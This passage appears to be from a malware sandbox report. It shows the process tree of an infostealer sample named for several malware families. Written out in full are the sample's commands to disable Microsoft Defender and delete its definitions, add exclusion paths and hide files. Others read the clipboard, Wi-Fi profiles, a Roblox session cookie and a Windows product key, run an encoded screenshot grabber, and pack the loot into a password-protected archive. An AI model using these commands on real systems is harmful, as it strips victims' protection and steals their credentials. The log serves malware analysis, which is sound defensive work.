      Suspicious use of AdjustPrivilegeToken
      PID:3652
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "start bound.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:6652
  - - C:\Users\Admin\AppData\Local\Temp\bound.exe
      bound.exe
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:3208
    - - C:\Users\Admin\AppData\Local\Temp\bound.exe
        
        bound.exe
        5⤵
        Drops file in Drivers directory
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:1708
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'"
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:6772
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3200
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:5976
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
        7⤵
        Command and Scripting Interpreter: PowerShell
        Disables one or more Microsoft Defender components
        Suspicious behavior: EnumeratesProcesses
        
        PID:6232
        
        C:\Program Files\Windows Defender\MpCmdRun.exe
        
        "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
        7⤵
        Deletes Windows Defender Definitions
        
        PID:7116
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\bound.exe""
        6⤵
        Hide Artifacts: Hidden Files and Directories
        Suspicious use of WriteProcessMemory
        
        PID:3104
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Local\Temp\bound.exe"
        7⤵
        Views/modifies file attributes
        
        PID:1548
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:1760
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1704
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:5512
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        7⤵
        Discovers running processes
        
        PID:1764
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:6488
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        7⤵
        Discovers running processes
        
        PID:1952
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
        6⤵
        Executes a command shell one-liner
        
        PID:3112
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
        7⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:6624
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
        6⤵
        Clipboard Data
        
        PID:6964
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-Clipboard
        7⤵
        Clipboard Data
        Suspicious behavior: EnumeratesProcesses
        
        PID:6796
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        6⤵
        Executes a command shell one-liner
        
        PID:6556
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        7⤵
        Discovers running processes
        
        PID:6884
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        6⤵
        Executes a command shell one-liner
        
        PID:360
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        7⤵
        
        PID:2960
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:4808
        
        C:\Windows\system32\netsh.exe
        
        netsh wlan show profile
        7⤵
        Event Triggered Execution: Netsh Helper DLL
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:2232
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "systeminfo"
        6⤵
        Executes a command shell one-liner
        
        PID:2632
        
        C:\Windows\system32\systeminfo.exe
        
        systeminfo
        7⤵
        Gathers system information
        
        PID:572
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        6⤵
        Executes a command shell one-liner
        
        PID:5272
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        7⤵
        
        PID:2016
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
        6⤵
        Executes a command shell one-liner
        
        PID:6280
        
        C:\Windows\system32\reg.exe
        
        REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
        7⤵
        
        PID:3512
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
        6⤵
        
        PID:6608
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
        7⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:828
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\f3hjulbo\f3hjulbo.cmdline"
        8⤵
        
        PID:3948
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA5DB.tmp" "c:\Users\Admin\AppData\Local\Temp\f3hjulbo\CSC616ED0E13E554452A3ED9B31C138391.TMP"
        9⤵
        
        PID:6464
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        6⤵
        Executes a command shell one-liner
        
        PID:6656
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        7⤵
        
        PID:4928
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
        6⤵
        Executes a command shell one-liner
        
        PID:3300
        
        C:\Windows\system32\attrib.exe
        
        attrib -r C:\Windows\System32\drivers\etc\hosts
        7⤵
        Drops file in Drivers directory
        Views/modifies file attributes
        
        PID:3680
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
        6⤵
        Executes a command shell one-liner
        
        PID:5288
        
        C:\Windows\system32\attrib.exe
        
        attrib +r C:\Windows\System32\drivers\etc\hosts
        7⤵
        Drops file in Drivers directory
        Views/modifies file attributes
        
        PID:6528
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        6⤵
        Executes a command shell one-liner
        
        PID:7056
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        7⤵
        
        PID:1580
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        6⤵
        Executes a command shell one-liner
        
        PID:6500
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        7⤵
        Discovers running processes
        
        PID:6748
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        6⤵
        Executes a command shell one-liner
        
        PID:4460
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        7⤵
        
        PID:6520
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        6⤵
        Executes a command shell one-liner
        
        PID:1300
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        7⤵
        
        PID:6284
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "getmac"
        6⤵
        Executes a command shell one-liner
        
        PID:1204
        
        C:\Windows\system32\getmac.exe
        
        getmac
        7⤵
        
        PID:6220
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
        6⤵
        Executes a command shell one-liner
        
        PID:6032
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        
        PID:1704
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1456
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
        6⤵
        Executes a command shell one-liner
        
        PID:5440
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        7⤵
        
        PID:5792
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI32082\rar.exe a -r -hp"holahola123" "C:\Users\Admin\AppData\Local\Temp\64lSU.zip" *"
        6⤵
        Executes a command shell one-liner
        
        PID:704
        
        C:\Users\Admin\AppData\Local\Temp\_MEI32082\rar.exe
        
        C:\Users\Admin\AppData\Local\Temp\_MEI32082\rar.exe a -r -hp"holahola123" "C:\Users\Admin\AppData\Local\Temp\64lSU.zip" *
        7⤵
        Executes dropped EXE
        
        PID:6580
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic os get Caption"
        6⤵
        Executes a command shell one-liner
        
        PID:696
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic os get Caption
        7⤵
        
        PID:1316
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
        6⤵
        Executes a command shell one-liner
        
        PID:4964
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic computersystem get totalphysicalmemory
        7⤵
        
        PID:3940
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        6⤵
        Executes a command shell one-liner
        
        PID:3888
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        7⤵
        
        PID:3976
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
        6⤵
        Executes a command shell one-liner
        
        PID:4572
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        
        PID:1544
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1172
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
        6⤵
        Executes a command shell one-liner
        
        PID:4520
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        7⤵
        Detects videocard installed
        
        PID:3944
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
        6⤵
        Executes a command shell one-liner
        
        PID:6568
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
        7⤵
        
        PID:1840
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ping localhost -n 3 > NUL && del /A H /F "C:\Users\Admin\AppData\Local\Temp\bound.exe""
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:4672
        
        C:\Windows\system32\PING.EXE
        
        ping localhost -n 3
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4608
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('UkXmm10020847.Fix', 0, 'NOT AVAILABLE', 32+16);close()""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5852
  - - C:\Windows\system32\mshta.exe
      mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('UkXmm10020847.Fix', 0, 'NOT AVAILABLE', 32+16);close()"
      4⤵
      PID:4792
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\2026-08-15_22cbed315fea32c67fe69eed54f7b8c2_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe""
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:2580
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Local\Temp\2026-08-15_22cbed315fea32c67fe69eed54f7b8c2_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe"
      4⤵
      Views/modifies file attributes
      PID:416
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‏‏‎‎ .scr'"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2400
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‏‏‎‎ .scr'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6548
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
